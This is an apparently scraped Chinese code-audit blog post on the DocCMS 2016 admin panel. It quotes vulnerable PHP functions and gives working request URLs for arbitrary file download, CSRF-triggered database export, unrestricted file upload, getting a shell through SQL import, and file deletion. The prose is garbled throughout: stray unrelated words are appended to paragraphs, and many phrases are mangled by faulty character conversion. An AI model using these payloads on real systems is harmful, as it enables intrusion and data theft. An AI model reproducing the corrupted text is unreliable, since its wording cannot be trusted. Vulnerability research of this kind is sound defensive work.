0x00 結構瀏覽php
按照代碼審計的慣例,拿到這款cms以後首先瀏覽了一下目錄結構,在基本瞭解以後,首先進入/index.php,這裏包含了兩個文件:/admini/config/qd-config.php和/loader/load.php,簡單看了一下代碼,沒什麼用,程序入口文件沒有太大價值。轉到後臺/admini目錄下,發現還有個/admin/index.php,打開閱讀一下源碼,沒什麼用,可是明確了這是一款比較硬核的cms,註釋極少,程序可讀性不是很高。/admin目錄下還有一個/admin/controllers,從命名上就能看出這是一個比較重要的業務邏輯包,打開以後裏面還有一個/admin/controllers/index.php,裏面只有兩個函數,仍是沒什麼用。在這個目錄下,還有一個文件夾爲system,打開以後竟然還有一個/admin/controllers/system/index.php....裏面就倆函數,也沒有有價值的信息。sql
0x01 任意文件下載shell
雖然這一大堆index都沒有用到,可是也幫助咱們瞭解了這款cms的結構,因此咱們直接從後臺業務邏輯核心部分,也就是/admini/controllers/system入手,首先讀一下bakup.php的源碼,這個文件主要做用是管理數據庫,裏面有一個download函數疑似存在任意文件下載:數據庫
1 function download() 2 { 3 global $request; 4 if(!empty($request['filename'])) 5 { 6 file_down(ABSPATH.'/temp/data/'.$request['filename']); 7 } 8 else 9 { 10 echo '<script>alert("文件名不能爲空!");window.history.go(-1);</script>'; 11 } 12 }
爲了進一步確承認如下載的範圍,跟讀file_down函數:服務器
1 function file_down($file,$filename='') 2 { 3 if(is_file($file)) 4 { 5 $filename = $filename ? $filename : basename($file); 6 $filetype = fileext($filename); 7 $filesize = filesize($file); 8 header('Cache-control: max-age=31536000'); 9 header('Expires: '.gmdate('D, d M Y H:i:s', time() + 31536000).' GMT'); 10 header('Content-Encoding: none'); 11 //header('Content-Length: '.$filesize); 12 header('Content-Disposition: attachment; filename='.$filename); 13 header('Content-Type: '.$filetype); 14 readfile($file); 15 } 16 else 17 { 18 echo '<script>alert("文件不存在!");window.history.go(-1);</script>'; 19 } 20 exit; 21 }
能夠看出這裏沒有作任何的過濾,構造payload:dom
http://127.0.0.1/doccms-2016/admini/index.php?m=system&s=bakup&a=download&filename=index.php
0x02 CSRF函數
在這個文件裏還有一個export函數:spa
1 function export() 2 { 3 global $db,$request,$sizelimit,$startrow; 4 $tables=$request['tables']; 5 $sizelimit=$request['sizelimit']; 6 if($request['dosubmit']) 7 { 8 $fileid = isset($request['fileid']) ? $request['fileid'] : 1; 9 if($fileid==1 && $tables) 10 { 11 if(!isset($tables) || !is_array($tables)) 12 echo "<script>alert('請選擇要備份的數據表!');window.history.go(0);</script>"; 13 $random = mt_rand(100000, 999999); 14 cache_write('bakup_tables.php', $tables); 15 } 16 else 17 { 18 if(!$tables = cache_read('bakup_tables.php')) 19 echo "<script>alert('請選擇要備份的數據表!');window.history.go(-1);</script>"; 20 } 21 $sqldump = ''; 22 $tableid = isset($request['tableid']) ? $request['tableid'] - 1 : 0; 23 $startfrom = isset($request['startfrom']) ? intval($request['startfrom']) : 0; 24 $tablenumber = count($tables); 25 for($i = $tableid; $i < $tablenumber && strlen($sqldump) < $sizelimit * 1024; $i++) 26 { 27 $sqldump .= sql_dumptable($tables[$i], $startfrom, strlen($sqldump)); 28 $startfrom = 0; 29 } 30 31 if(trim($sqldump)) 32 { 33 $sqldump = "#Realure.cn Created\n# --------------------------------------------------------\n\n\n".$sqldump; 34 $tableid = $i; 35 $random = isset($request['random']) ? $request['random'] : $random; 36 $filename = DB_DBNAME.'_'.date('Ymd').'_'.$random.'_'.$fileid.'.sql'; 37 $fileid++; 38 39 $bakfile = '../temp/data/'.$filename; 40 if(!is_writable('../temp/data/')) 41 message('數據沒法備份到服務器!請檢查 ./data 目錄是否可寫。', $forward); 42 file_put_contents($bakfile, $sqldump); 43 //echo 'wer'; 44 //exit; 45 echo '<script>alert("備份文件'.$filename.'寫入成功!");window.location.href="?m=system&s=bakup&a=export&sizelimit='.$sizelimit.'&tableid='.$tableid.'&fileid='.$fileid.'&startfrom='.$startrow.'&random='.$random.'&dosubmit=1";</script>'; 46 } 47 else 48 { 49 cache_delete('bakup_tables.php'); 50 echo '<script>alert("數據庫備份完畢!");window.location.href="?m=system&s=bakup&a=export";</script>'; 51 //message('數據庫備份完畢!'); 52 } 53 exit; 54 } 55 }
不用看代碼,光看輸出就能看出來這是備份數據庫的函數,可是代碼審計總仍是要看代碼的,這個函數接收了用戶提交的兩個參數:tables、sizelimit,依據這兩個參數導出數據庫備份文件,沒有驗證referer和token,所以會存在CSRF漏洞,誘導管理員備份數據,結合以前的任意文件下載漏洞就能夠輕鬆拿到數據庫信息。payload:code
http://127.0.0.1/doccms-2016/admini/index.php?m=system&s=bakup&a=export&tables[]=doc_user&sizelimit=2048&dosubmit=開始備份數據
0x03 可執行sql文件的上傳blog
這個文件的問題不少,幾乎每一個函數均可以利用,後面還有一個上傳sql文件的函數:
1 function uploadsql() 2 { 3 global $request; 4 $uploadfile=basename($_FILES['uploadfile']['name']); 5 if($_FILES['userfile']['size']>$request['max_file_size']) 6 echo '<script>alert("您上傳的文件超出了2M的限制!");window.history.go(-1);</script>'; 7 if(fileext($uploadfile)!='sql') 8 echo '<script>alert("只容許上傳sql格式文件!");window.history.go(-1);</script>'; 9 $savepath = ABSPATH.'/temp/data/'.$uploadfile; 10 if(move_uploaded_file($_FILES['uploadfile']['tmp_name'], $savepath)) 11 { 12 echo '<script>alert("數據庫SQL腳本文件上傳成功!");window.history.go(-1);</script>'; 13 } 14 else 15 { 16 echo '<script>alert("數據庫SQL腳本文件上傳失敗!");window.history.go(-1);</script>'; 17 } 18 }
這裏有一個代碼邏輯漏洞,在代碼的第7行和fileext()函數中但願驗證後綴名,只有.sql文件才能上傳,可是後面並無exit,而是彈窗提示只容許上傳sql格式文件,程序繼續運行,這樣咱們就能夠上傳任意文件了,新建一個phpinfo,在數據恢復頁面上傳。
除此以外,這裏還有第二種利用方式,有一個數據庫導入函數import:
1 function import() 2 { 3 global $db,$request; 4 $pre=$request['pre']; 5 if($request['dosubmit']) 6 { 7 if($request['filename'] && fileext($request['filename'])=='sql') 8 { 9 $filepath = ABSPATH.'/temp/data/'.$filename; 10 if(!is_file($filepath)) 11 echo '<script>alert("文件不存在!");window.history.go(-1);</script>'; 12 $sql = file_get_contents($filepath); 13 sql_execute($sql); 14 echo '<script>alert("'.$filename.'中的數據已經成功導入到數據庫!");window.history.go(-1);</script>'; 15 } 16 else 17 { 18 $fileid = isset($request['fileid']) ? $request['fileid'] : 1; 19 $filename = $request['pre'].$fileid.'.sql'; 20 $filepath = ABSPATH.'/temp/data/'.$filename; 21 if(is_file($filepath)) 22 { 23 $sql = file_get_contents($filepath);//將整個文件讀入一個字符串 24 sql_execute($sql); 25 $fileid++; 26 echo '<script>alert("數據文件'.$filename.'導入成功!");window.location.href="?m=system&s=bakup&a=import&pre='.$pre.'&fileid='.$fileid.'&dosubmit=1";</script>'; 27 28 } 29 else 30 { 31 echo '<script>alert("數據庫恢復成功!");window.location.href="?m=system&s=bakup&a=import";</script>'; 32 } 33 } 34 } 35 }
代碼的18-28行讀取.sql文件而且執行,若是咱們本身上傳的sql腳本帶有一句話木馬,在權限足夠的狀況下能夠直接拿shell。
0x04 同目錄任意文件刪除
這個文件搞完了,下一個文件是changeskin.php,裏面有一個deleteFile函數:
1 function deleteFile(){ 2 global $request; 3 $dirPath = get_abs_skin_root().filter_submitpath( $request['dirPath'] ); 4 if(is_file($dirPath)){ 5 @unlink($dirPath); 6 exit('1::delete ok'); 7 }else{ 8 exit('0::Forbidden'); 9 } 10 }
裏面調用了兩個函數,繼續跟讀:
1 function filter_submitpath($path) 2 { 3 $path= preg_replace('/[\.]{2,}/', '', $path);//去除 .. 禁止提交訪問上級目錄的路徑 4 return preg_replace('/[\/]{2,}/', '/', $path);//校訂路徑 5 } 6 7 8 function get_abs_skin_root() 9 { 10 return ABSPATH.'/'.SKINROOT.'/'.STYLENAME.'/'; 11 }
能夠看出這裏沒有進行任何的過濾,能夠刪除同目錄下的全部文件。